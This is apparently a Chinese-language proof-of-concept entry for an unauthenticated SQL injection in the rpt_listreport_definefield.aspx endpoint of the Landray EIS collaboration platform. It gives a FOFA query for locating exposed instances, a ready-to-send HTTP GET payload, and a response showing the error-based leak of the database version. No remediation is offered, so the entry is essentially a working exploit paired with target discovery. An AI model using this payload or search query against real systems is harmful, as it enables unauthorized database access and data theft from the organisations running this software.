

L1-1蓝凌-EIS智慧协同平台-SQL

漏洞描述：

由于蓝凌EIS智慧协同平台 rpt_listreport_definefield.aspx接口处未对用户输入的SQL语句进行过滤或验证导致出现SQL注入漏洞，未经身份验证的攻击者可以利用此漏洞获取数据库敏感信息

影响版本：

- 蓝凌-EIS智慧协同平台

网站图片：

网络测绘：

fofa语法：

FOFA: app="Landray-EIS智慧协同平台"

漏洞复现：

payload:

```
GET /SM/rpt_listreport_definefield.aspx?ID=1%20and%201=@@version-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
```

效果图:

查询数据库版本

Request

1 GET /SM/rpt_listreport_definefield.aspx?ID=1%20and%201=@@version-- HTTP/1.1

2 Host: [redacted]

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

5 Accept-Encoding: gzip, deflate

6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

7 Connection: close

8 Upgrade-Insecure-Requests: 1

Responses 5549bytes / 159ms

1 HTTP/1.1 500 Internal Server Error

2 Cache-Control: private

3 Content-Type: text/html; charset=utf-8

4 Server: Microsoft-IIS/7.5

5 X-AspNet-Version: 2.0.50727

6 MicrosoftSharePointTeamServices: 14.0.0.47

7 X-Powered-By: ASP.NET

8 Date: Mon, 04 Mar 2024 09:26:08 GMT

9 Connection: close

10 Content-Length: 5549

11

12 <html>

13 <head>

14 <title>内部nvarchar值'Microsoft (X64)'
Jun 17 2011 00:54:03
Enterprise Edition (64-bit) on Win Pack<1>
'转换成数据类型:int:时:

15 <style>

16 body{font-family: 'Verdana'; font-

17 p{font-family: 'Verdana'; font-wei

18 b{font-family: 'Verdana'; font-wei

19 H1{font-family: 'Verdana'; font-w

20 H2{font-family: 'Verdana'; font-w

21 pre{font-family: 'Lucida Console'

22 .marker{font-weight: bold; color

23 version{color: gray; }